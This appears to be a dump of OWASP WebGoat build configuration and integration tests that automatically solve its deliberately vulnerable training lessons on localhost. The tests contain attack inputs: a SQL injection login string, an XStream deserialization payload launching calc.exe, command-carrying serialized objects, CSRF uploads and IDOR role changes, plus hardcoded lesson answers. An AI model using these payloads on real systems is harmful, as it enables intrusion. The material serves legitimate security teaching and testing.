${commons-io.version} org.apache.commons commons-text ${commons-text.version} org.bitbucket.b_c jose4j ${jose4j.version} org.webjars bootstrap ${bootstrap.version} org.webjars jquery ${jquery.version} com.github.tomakehurst wiremock ${wiremock.version} io.github.bonigarcia webdrivermanager ${webdriver.version} org.apache.commons commons-compress 1.21 org.jruby jruby 9.3.6.0 org.apache.commons commons-exec org.springframework.boot spring-boot-starter-validation org.projectlombok lombok provided true javax.xml.bind jaxb-api org.springframework.boot spring-boot-starter-undertow org.springframework.boot spring-boot-starter-web org.springframework.boot spring-boot-starter-tomcat org.springframework.boot spring-boot-starter-actuator org.flywaydb flyway-core org.asciidoctor asciidoctorj org.springframework.boot spring-boot-starter-data-jpa org.springframework.boot spring-boot-starter-security org.springframework.boot spring-boot-starter-thymeleaf org.thymeleaf.extras thymeleaf-extras-springsecurity5 org.hsqldb hsqldb org.jsoup jsoup com.nulab-inc zxcvbn com.thoughtworks.xstream xstream cglib cglib-nodep xml-resolver xml-resolver io.jsonwebtoken jjwt com.google.guava guava commons-io commons-io org.apache.commons commons-lang3 org.apache.commons commons-text org.bitbucket.b_c jose4j org.webjars bootstrap org.webjars jquery org.glassfish.jaxb jaxb-runtime org.springframework.boot spring-boot-starter-test test org.springframework.security spring-security-test test com.github.tomakehurst wiremock test io.rest-assured rest-assured test false central https://repo.maven.apache.org/maven2 false central https://repo.maven.apache.org/maven2 org.springframework.boot spring-boot-maven-plugin true true org.owasp.webgoat.server.StartWebGoat org.asciidoctor asciidoctorj repackage org.codehaus.mojo build-helper-maven-plugin add-integration-test-source-as-test-sources add-test-source generate-test-sources src/it/java org.apache.maven.plugins maven-failsafe-plugin ${basedir}/src/test/resources/logback-test.xml -Xmx512m -Dwebgoatport=${webgoat.port} -Dwebwolfport=${webwolf.port} org/owasp/webgoat/*Test integration-test integration-test verify verify org.apache.maven.plugins maven-surefire-plugin ${maven-surefire-plugin.version} --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED **/*IntegrationTest.java src/it/java org/owasp/webgoat/*Test org.apache.maven.plugins maven-checkstyle-plugin ${checkstyle.version} UTF-8 true true config/checkstyle/checkstyle.xml config/checkstyle/suppressions.xml checkstyle.suppressions.file com.diffplug.spotless spotless-maven-plugin 2.29.0 .gitignore true 4 **/*.md true UTF-8 ${line.separator} true false true 2 false false recommended_2008_06 true true true check org.apache.maven.plugins maven-enforcer-plugin 3.0.0 restrict-log4j-versions enforce validate org.apache.logging.log4j:log4j-core true org.apache.maven.plugins maven-compiler-plugin 17 17 local-server start-server true org.codehaus.mojo build-helper-maven-plugin reserve-container-port reserve-network-port process-resources webgoat.port webwolf.port jmxPort com.bazaarvoice.maven.plugins process-exec-maven-plugin 0.9 start-jar start pre-integration-test ${project.build.directory} java -jar -Dlogging.pattern.console= -Dspring.main.banner-mode=off -Dspring.datasource.url=jdbc:hsqldb:file:${java.io.tmpdir}/webgoat -Dwebgoat.port=${webgoat.port} -Dwebwolf.port=${webwolf.port} --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.beans=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED ${project.build.directory}/webgoat-${project.version}.jar false http://localhost:${webgoat.port}/WebGoat/ stop-jar-process stop-all post-integration-test owasp false org.owasp dependency-check-maven 6.5.1 7 false false ${maven.multiModuleProjectDirectory}/config/dependency-check/project-suppression.xml check ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java ================================================ package org.owasp.webgoat; import io.restassured.RestAssured; import io.restassured.http.ContentType; import org.apache.http.HttpStatus; import org.junit.jupiter.api.Test; import java.util.Map; class AccessControlIntegrationTest extends IntegrationTest { @Test void testLesson() { startLesson("MissingFunctionAC", true); assignment1(); assignment2(); assignment3(); checkResults("/access-control"); } private void assignment3() { //direct call should fail if user has not been created RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .contentType(ContentType.JSON) .get(url("/WebGoat/access-control/users-admin-fix")) .then() .statusCode(HttpStatus.SC_FORBIDDEN); //create user var userTemplate = """ {"username":"%s","password":"%s","admin": "true"} """; RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .contentType(ContentType.JSON) .body(String.format(userTemplate, this.getUser(), this.getUser())) .post(url("/WebGoat/access-control/users")) .then() .statusCode(HttpStatus.SC_OK); //get the users var userHash = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .contentType(ContentType.JSON) .get(url("/WebGoat/access-control/users-admin-fix")) .then() .statusCode(200) .extract() .jsonPath() .get("find { it.username == \"Jerry\" }.userHash"); checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true); } private void assignment2() { var userHash = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .contentType(ContentType.JSON) .get(url("/WebGoat/access-control/users")) .then() .statusCode(200) .extract() .jsonPath() .get("find { it.username == \"Jerry\" }.userHash"); checkAssignment(url("/WebGoat/access-control/user-hash"), Map.of("userHash", userHash), true); } private void assignment1() { var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config"); checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java ================================================ package org.owasp.webgoat; import io.restassured.RestAssured; import io.restassured.http.ContentType; import lombok.Data; import lombok.SneakyThrows; import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.DynamicTest; import org.junit.jupiter.api.TestFactory; import org.owasp.webgoat.container.lessons.Assignment; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Arrays; import java.util.HashMap; import java.util.Map; import static org.assertj.core.api.Assertions.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.DynamicTest.dynamicTest; public class CSRFIntegrationTest extends IntegrationTest { private static final String trickHTML3 = "
\n" + "\n" + "\n" + "
"; private static final String trickHTML4 = "
\n" + "\n" + "\n" + "\n" + "\n" + "
\n" + ""; private static final String trickHTML7 = "
\n" + "\n" + "\n" + "
"; private static final String trickHTML8 = "
\n" + "\n" + "\n" + "\n" + "\n" + "\n" + "
"; private String webwolfFileDir; @BeforeEach @SneakyThrows public void init() { startLesson("CSRF"); webwolfFileDir = getWebWolfFileServerLocation(); uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag"))); uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review"))); uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message"))); uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser())); } @TestFactory Iterable testCSRFLesson() { return Arrays.asList( dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))), dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))), dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))), dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))) ); } @AfterEach public void shutdown() throws IOException { //logout(); login();//because old cookie got replaced and invalidated startLesson("CSRF", false); checkResults("/csrf"); } private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException { //remove any left over html Path webWolfFilePath = Paths.get(webwolfFileDir); if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) { Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName))); } //upload trick html RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("WEBWOLFSESSION", getWebWolfCookie()) .multiPart("file", htmlName, htmlContent.getBytes()) .post(webWolfUrl("/WebWolf/fileupload")) .then() .extract().response().getBody().asString(); } private String callTrickHtml(String htmlName) { String result = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie()) .get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName)) .then() .extract().response().getBody().asString(); result = result.substring(8 + result.indexOf("action=\"")); result = result.substring(0, result.indexOf("\"")); return result; } private void checkAssignment3(String goatURL) { String flag = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .header("Referer", webWolfUrl("/files/fake.html")) .post(goatURL) .then() .extract().path("flag").toString(); Map params = new HashMap<>(); params.clear(); params.put("confirmFlagVal", flag); checkAssignment(url("/WebGoat/csrf/confirm-flag-1"), params, true); } private void checkAssignment4(String goatURL) { Map params = new HashMap<>(); params.clear(); params.put("reviewText", "test review"); params.put("stars", "5"); params.put("validateReq", "2aa14227b9a13d0bede0388a7fba9aa9");//always the same token is the weakness boolean result = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .header("Referer", webWolfUrl("/files/fake.html")) .formParams(params) .post(goatURL) .then() .extract().path("lessonCompleted"); assertEquals(true, result); } private void checkAssignment7(String goatURL) { Map params = new HashMap<>(); params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}"); String flag = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .header("Referer", webWolfUrl("/files/fake.html")) .contentType(ContentType.TEXT) .body("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!" + "=\"}") .post(goatURL) .then() .extract().asString(); flag = flag.substring(9 + flag.indexOf("flag is:")); flag = flag.substring(0, flag.indexOf("\"")); params.clear(); params.put("confirmFlagVal", flag); checkAssignment(url("/WebGoat/csrf/feedback"), params, true); } private void checkAssignment8(String goatURL) { //first make sure there is an attack csrf- user registerCSRFUser(); Map params = new HashMap<>(); params.clear(); params.put("username", "csrf-" + this.getUser()); params.put("password", "password"); //login and get the new cookie String newCookie = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .header("Referer", webWolfUrl("/files/fake.html")) .params(params) .post(goatURL) .then() .extract().cookie("JSESSIONID"); //select the lesson RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", newCookie) .get(url("CSRF.lesson.lesson")) .then() .statusCode(200); //click on the assignment boolean result = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", newCookie) .post(url("/csrf/login")) .then() .statusCode(200) .extract().path("lessonCompleted"); assertThat(result).isTrue(); login(); startLesson("CSRF", false); Overview[] assignments = RestAssured.given() .cookie("JSESSIONID", getWebGoatCookie()) .get(url("/service/lessonoverview.mvc")) .then() .extract() .jsonPath() .getObject("$", Overview[].class); // assertThat(assignments) // .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin")) // .extracting(o -> o.solved) // .containsExactly(true); } @Data private static class Overview { Assignment assignment; boolean solved; } /** * Try to register the new user. Ignore the result. */ private void registerCSRFUser() { RestAssured.given() .when() .relaxedHTTPSValidation() .formParam("username", "csrf-" + this.getUser()) .formParam("password", "password") .formParam("matchingPassword", "password") .formParam("agree", "agree") .post(url("register.mvc")); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java ================================================ package org.owasp.webgoat; import io.restassured.RestAssured; import org.junit.jupiter.api.Test; import java.util.Arrays; import java.util.HashMap; import java.util.List; import java.util.Map; import static org.junit.jupiter.api.Assertions.assertTrue; public class ChallengeIntegrationTest extends IntegrationTest { @Test public void testChallenge1() { startLesson("Challenge1"); byte[] resultBytes = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .get(url("/WebGoat/challenge/logo")) .then() .statusCode(200) .extract().asByteArray(); String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220)); Map params = new HashMap<>(); params.clear(); params.put("username", "admin"); params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode)); checkAssignment(url("/WebGoat/challenge/1"), params, true); String result = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .formParams(params) .post(url("/WebGoat/challenge/1")) .then() .statusCode(200) .extract().asString(); String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42); params.clear(); params.put("flag", flag); checkAssignment(url("/WebGoat/challenge/flag"), params, true); checkResults("/challenge/1"); List capturefFlags = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .get(url("/WebGoat/scoreboard-data")) .then() .statusCode(200) .extract().jsonPath() .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured"); assertTrue(capturefFlags.contains("Admin lost password")); } @Test public void testChallenge5() { startLesson("Challenge5"); Map params = new HashMap<>(); params.clear(); params.put("username_login", "Larry"); params.put("password_login", "1' or '1'='1"); String result = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .formParams(params) .post(url("/WebGoat/challenge/5")) .then() .statusCode(200) .extract().asString(); String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42); params.clear(); params.put("flag", flag); checkAssignment(url("/WebGoat/challenge/flag"), params, true); checkResults("/challenge/5"); List capturefFlags = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .get(url("/WebGoat/scoreboard-data")) .then() .statusCode(200) .extract().jsonPath() .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured"); assertTrue(capturefFlags.contains("Without password")); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java ================================================ package org.owasp.webgoat; import static org.junit.jupiter.api.Assertions.fail; import java.nio.charset.Charset; import java.security.NoSuchAlgorithmException; import java.security.PrivateKey; import java.security.interfaces.RSAPrivateKey; import java.security.spec.InvalidKeySpecException; import java.util.Base64; import java.util.HashMap; import java.util.Map; import javax.xml.bind.DatatypeConverter; import org.junit.jupiter.api.Test; import org.owasp.webgoat.lessons.cryptography.CryptoUtil; import org.owasp.webgoat.lessons.cryptography.HashingAssignment; import io.restassured.RestAssured; public class CryptoIntegrationTest extends IntegrationTest { @Test public void runTests() { startLesson("Cryptography"); checkAssignment2(); checkAssignment3(); // Assignment 4 try { checkAssignment4(); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); fail(); } try { checkAssignmentSigning(); } catch (Exception e) { e.printStackTrace(); fail(); } checkAssignmentDefaults(); checkResults("/crypto"); } private void checkAssignment2() { String basicEncoding = RestAssured.given().when().relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()).get(url("/crypto/encoding/basic")).then().extract() .asString(); basicEncoding = basicEncoding.substring("Authorization: Basic ".length()); String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes())); String answer_user = decodedString.split(":")[0]; String answer_pwd = decodedString.split(":")[1]; Map params = new HashMap<>(); params.clear(); params.put("answer_user", answer_user); params.put("answer_pwd", answer_pwd); checkAssignment(url("/crypto/encoding/basic-auth"), params, true); } private void checkAssignment3() { String answer_1 = "databasepassword"; Map params = new HashMap<>(); params.clear(); params.put("answer_pwd1", answer_1); checkAssignment(url("/crypto/encoding/xor"), params, true); } private void checkAssignment4() throws NoSuchAlgorithmException { String md5Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()) .get(url("/crypto/hashing/md5")).then().extract().asString(); String sha256Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()) .get(url("/crypto/hashing/sha256")).then().extract().asString(); String answer_1 = "unknown"; String answer_2 = "unknown"; for (String secret : HashingAssignment.SECRETS) { if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) { answer_1 = secret; } if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) { answer_2 = secret; } } Map params = new HashMap<>(); params.clear(); params.put("answer_pwd1", answer_1); params.put("answer_pwd2", answer_2); checkAssignment(url("/WebGoat/crypto/hashing"), params, true); } private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException { String privatePEM = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .get(url("/crypto/signing/getprivate")) .then() .extract().asString(); PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM); RSAPrivateKey privk = (RSAPrivateKey) privateKey; String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray()); String signature = CryptoUtil.signMessage(modulus, privateKey); Map params = new HashMap<>(); params.clear(); params.put("modulus", modulus); params.put("signature", signature); checkAssignment(url("/crypto/signing/verify"), params, true); } private void checkAssignmentDefaults() { String text = new String(Base64.getDecoder().decode("TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl".getBytes(Charset.forName("UTF-8")))); Map params = new HashMap<>(); params.clear(); params.put("secretText", text); params.put("secretFileName", "default_secret"); checkAssignment(url("/crypto/secure/defaults"), params, true); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java ================================================ package org.owasp.webgoat; import org.dummy.insecure.framework.VulnerableTaskHolder; import org.junit.jupiter.api.Test; import org.owasp.webgoat.lessons.deserialization.SerializationHelper; import java.io.IOException; import java.util.HashMap; import java.util.Map; public class DeserializationIntegrationTest extends IntegrationTest { private static String OS = System.getProperty("os.name").toLowerCase(); @Test public void runTests() throws IOException { startLesson("InsecureDeserialization"); Map params = new HashMap<>(); params.clear(); if (OS.indexOf("win") > -1) { params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5"))); } else { params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5"))); } checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true); checkResults("/InsecureDeserialization/"); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java ================================================ package org.owasp.webgoat; import io.restassured.RestAssured; import io.restassured.http.ContentType; import java.util.HashMap; import java.util.Map; import org.hamcrest.CoreMatchers; import org.hamcrest.MatcherAssert; import org.junit.jupiter.api.Test; import org.springframework.util.StringUtils; public class GeneralLessonIntegrationTest extends IntegrationTest { @Test public void httpBasics() { startLesson("HttpBasics"); Map params = new HashMap<>(); params.clear(); params.put("person", "goatuser"); checkAssignment(url("HttpBasics/attack1"), params, true); params.clear(); params.put("answer", "POST"); params.put("magic_answer", "33"); params.put("magic_num", "4"); checkAssignment(url("HttpBasics/attack2"), params, false); params.clear(); params.put("answer", "POST"); params.put("magic_answer", "33"); params.put("magic_num", "33"); checkAssignment(url("HttpBasics/attack2"), params, true); checkResults("/HttpBasics/"); } @Test public void httpProxies() { startLesson("HttpProxies"); MatcherAssert.assertThat( RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .header("x-request-intercepted", "true") .contentType(ContentType.JSON) .get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily")) .then() .statusCode(200) .extract() .path("lessonCompleted"), CoreMatchers.is(true)); checkResults("/HttpProxies/"); } @Test public void cia() { startLesson("CIA"); Map params = new HashMap<>(); params.clear(); params.put( "question_0_solution", "Solution 3: By stealing a database where names and emails are stored and uploading it to a website."); params.put( "question_1_solution", "Solution 1: By changing the names and emails of one or more users stored in a database."); params.put( "question_2_solution", "Solution 4: By launching a denial of service attack on the servers."); params.put( "question_3_solution", "Solution 2: The systems security is compromised even if only one goal is harmed."); checkAssignment(url("/WebGoat/cia/quiz"), params, true); checkResults("/cia/"); } @Test public void vulnerableComponents() { if (StringUtils.hasText(System.getProperty("running.in.docker"))) { String solution = "\n" + "org.owasp.webgoat.lessons.vulnerablecomponents.Contact\n" + " \n" + " \n" + " \n" + " calc.exe\n" + " \n" + " \n" + " start\n" + " \n" + ""; startLesson("VulnerableComponents"); Map params = new HashMap<>(); params.clear(); params.put("payload", solution); checkAssignment(url("/WebGoat/VulnerableComponents/attack1"), params, true); checkResults("/VulnerableComponents/"); } } @Test public void insecureLogin() { startLesson("InsecureLogin"); Map params = new HashMap<>(); params.clear(); params.put("username", "CaptainJack"); params.put("password", "BlackPearl"); checkAssignment(url("/WebGoat/InsecureLogin/task"), params, true); checkResults("/InsecureLogin/"); } @Test public void securePasswords() { startLesson("SecurePasswords"); Map params = new HashMap<>(); params.clear(); params.put("password", "ajnaeliclm^&&@kjn."); checkAssignment(url("/WebGoat/SecurePasswords/assignment"), params, true); checkResults("SecurePasswords/"); startLesson("AuthBypass"); params.clear(); params.put("secQuestion2", "John"); params.put("secQuestion3", "Main"); params.put("jsEnabled", "1"); params.put("verifyMethod", "SEC_QUESTIONS"); params.put("userId", "12309746"); checkAssignment(url("/WebGoat/auth-bypass/verify-account"), params, true); checkResults("/auth-bypass/"); startLesson("HttpProxies"); MatcherAssert.assertThat( RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .header("x-request-intercepted", "true") .contentType(ContentType.JSON) .get( url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily")) .then() .statusCode(200) .extract() .path("lessonCompleted"), CoreMatchers.is(true)); checkResults("/HttpProxies/"); } @Test public void chrome() { startLesson("ChromeDevTools"); Map params = new HashMap<>(); params.clear(); params.put("param1", "42"); params.put("param2", "24"); String result = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .header("webgoat-requested-by", "dom-xss-vuln") .header("X-Requested-With", "XMLHttpRequest") .formParams(params) .post(url("/WebGoat/CrossSiteScripting/phone-home-xss")) .then() .statusCode(200) .extract() .path("output"); String secretNumber = result.substring("phoneHome Response is ".length()); params.clear(); params.put("successMessage", secretNumber); checkAssignment(url("/WebGoat/ChromeDevTools/dummy"), params, true); params.clear(); params.put("number", "24"); params.put("network_num", "24"); checkAssignment(url("/WebGoat/ChromeDevTools/network"), params, true); checkResults("/ChromeDevTools/"); } @Test public void authByPass() { startLesson("AuthBypass"); Map params = new HashMap<>(); params.clear(); params.put("secQuestion2", "John"); params.put("secQuestion3", "Main"); params.put("jsEnabled", "1"); params.put("verifyMethod", "SEC_QUESTIONS"); params.put("userId", "12309746"); checkAssignment(url("/auth-bypass/verify-account"), params, true); checkResults("/auth-bypass/"); } @Test public void lessonTemplate() { startLesson("LessonTemplate"); Map params = new HashMap<>(); params.clear(); params.put("param1", "secr37Value"); params.put("param2", "Main"); checkAssignment(url("/lesson-template/sample-attack"), params, true); checkResults("/lesson-template/"); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/IDORIntegrationTest.java ================================================ package org.owasp.webgoat; import static org.junit.jupiter.api.DynamicTest.dynamicTest; import java.io.IOException; import java.util.Arrays; import java.util.HashMap; import java.util.Map; import org.hamcrest.CoreMatchers; import org.hamcrest.MatcherAssert; import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.DynamicTest; import org.junit.jupiter.api.TestFactory; import io.restassured.RestAssured; import io.restassured.http.ContentType; import lombok.SneakyThrows; public class IDORIntegrationTest extends IntegrationTest { @BeforeEach @SneakyThrows public void init() { startLesson("IDOR"); } @TestFactory Iterable testIDORLesson() { return Arrays.asList( dynamicTest("login",()-> loginIDOR()), dynamicTest("profile", () -> profile()) ); } @AfterEach public void shutdown() throws IOException { checkResults("/IDOR"); } private void loginIDOR() throws IOException { Map params = new HashMap<>(); params.clear(); params.put("username", "tom"); params.put("password", "cat"); checkAssignment(url("/WebGoat/IDOR/login"), params, true); } private void profile() { MatcherAssert.assertThat( RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .get(url("/WebGoat/IDOR/profile")) .then() .statusCode(200) .extract().path("userId"), CoreMatchers.is("2342384")); Map params = new HashMap<>(); params.clear(); params.put("attributes", "userId,role"); checkAssignment(url("/WebGoat/IDOR/diff-attributes"), params, true); params.clear(); params.put("url", "WebGoat/IDOR/profile/2342384"); checkAssignment(url("/WebGoat/IDOR/profile/alt-path"), params, true); MatcherAssert.assertThat( RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .get(url("/WebGoat/IDOR/profile/2342388")) .then() .statusCode(200) .extract().path("lessonCompleted"), CoreMatchers.is(true)); MatcherAssert.assertThat( RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .contentType(ContentType.JSON) //part of the lesson .body("{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\", \"userId\":\"2342388\"}") .put(url("/WebGoat/IDOR/profile/2342388")) .then() .statusCode(200) .extract().path("lessonCompleted"), CoreMatchers.is(true)); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/IntegrationTest.java ================================================ package org.owasp.webgoat; import io.restassured.RestAssured; import io.restassured.http.ContentType; import lombok.Getter; import org.hamcrest.CoreMatchers; import org.hamcrest.MatcherAssert; import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.BeforeEach; import java.util.Map; import java.util.Objects; import static io.restassured.RestAssured.given; public abstract class IntegrationTest { private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport")); @Getter private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport")); private static boolean useSSL = false; private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/"; private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/"; @Getter private String webGoatCookie; @Getter private String webWolfCookie; @Getter private String user = "webgoat"; protected String url(String url) { url = url.replaceFirst("/WebGoat/", ""); url = url.replaceFirst("/WebGoat", ""); url = url.startsWith("/") ? url.replaceFirst("/", "") : url; return webgoatUrl + url; } protected String webWolfUrl(String url) { url = url.replaceFirst("/WebWolf/", ""); url = url.replaceFirst("/WebWolf", ""); url = url.startsWith("/") ? url.replaceFirst("/", "") : url; return webWolfUrl + url; } @BeforeEach public void login() { String location = given() .when() .relaxedHTTPSValidation() .formParam("username", user) .formParam("password", "password") .post(url("login")).then() .cookie("JSESSIONID") .statusCode(302) .extract().header("Location"); if (location.endsWith("?error")) { webGoatCookie = RestAssured.given() .when() .relaxedHTTPSValidation() .formParam("username", user) .formParam("password", "password") .formParam("matchingPassword", "password") .formParam("agree", "agree") .post(url("register.mvc")) .then() .cookie("JSESSIONID") .statusCode(302) .extract() .cookie("JSESSIONID"); } else { webGoatCookie = given() .when() .relaxedHTTPSValidation() .formParam("username", user) .formParam("password", "password") .post(url("login")).then() .cookie("JSESSIONID") .statusCode(302) .extract().cookie("JSESSIONID"); } webWolfCookie = RestAssured.given() .when() .relaxedHTTPSValidation() .formParam("username", user) .formParam("password", "password") .post(webWolfUrl("login")) .then() .statusCode(302) .cookie("WEBWOLFSESSION") .extract() .cookie("WEBWOLFSESSION"); } @AfterEach public void logout() { RestAssured.given() .when() .relaxedHTTPSValidation() .get(url("logout")) .then() .statusCode(200); } public void startLesson(String lessonName) { startLesson(lessonName, false); } public void startLesson(String lessonName, boolean restart) { RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .get(url(lessonName + ".lesson.lesson")) .then() .statusCode(200); if (restart) { RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .get(url("service/restartlesson.mvc")) .then() .statusCode(200); } } public void checkAssignment(String url, Map params, boolean expectedResult) { MatcherAssert.assertThat( RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .formParams(params) .post(url) .then() .statusCode(200) .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); } public void checkAssignmentWithPUT(String url, Map params, boolean expectedResult) { MatcherAssert.assertThat( RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .formParams(params) .put(url) .then() .statusCode(200) .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); } //TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are only required to be in the same package) public void checkResults(String prefix) { checkResults(); MatcherAssert.assertThat(RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .get(url("service/lessonoverview.mvc")) .then() .statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix))); } public void checkResults() { var result = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .get(url("service/lessonoverview.mvc")) .andReturn(); 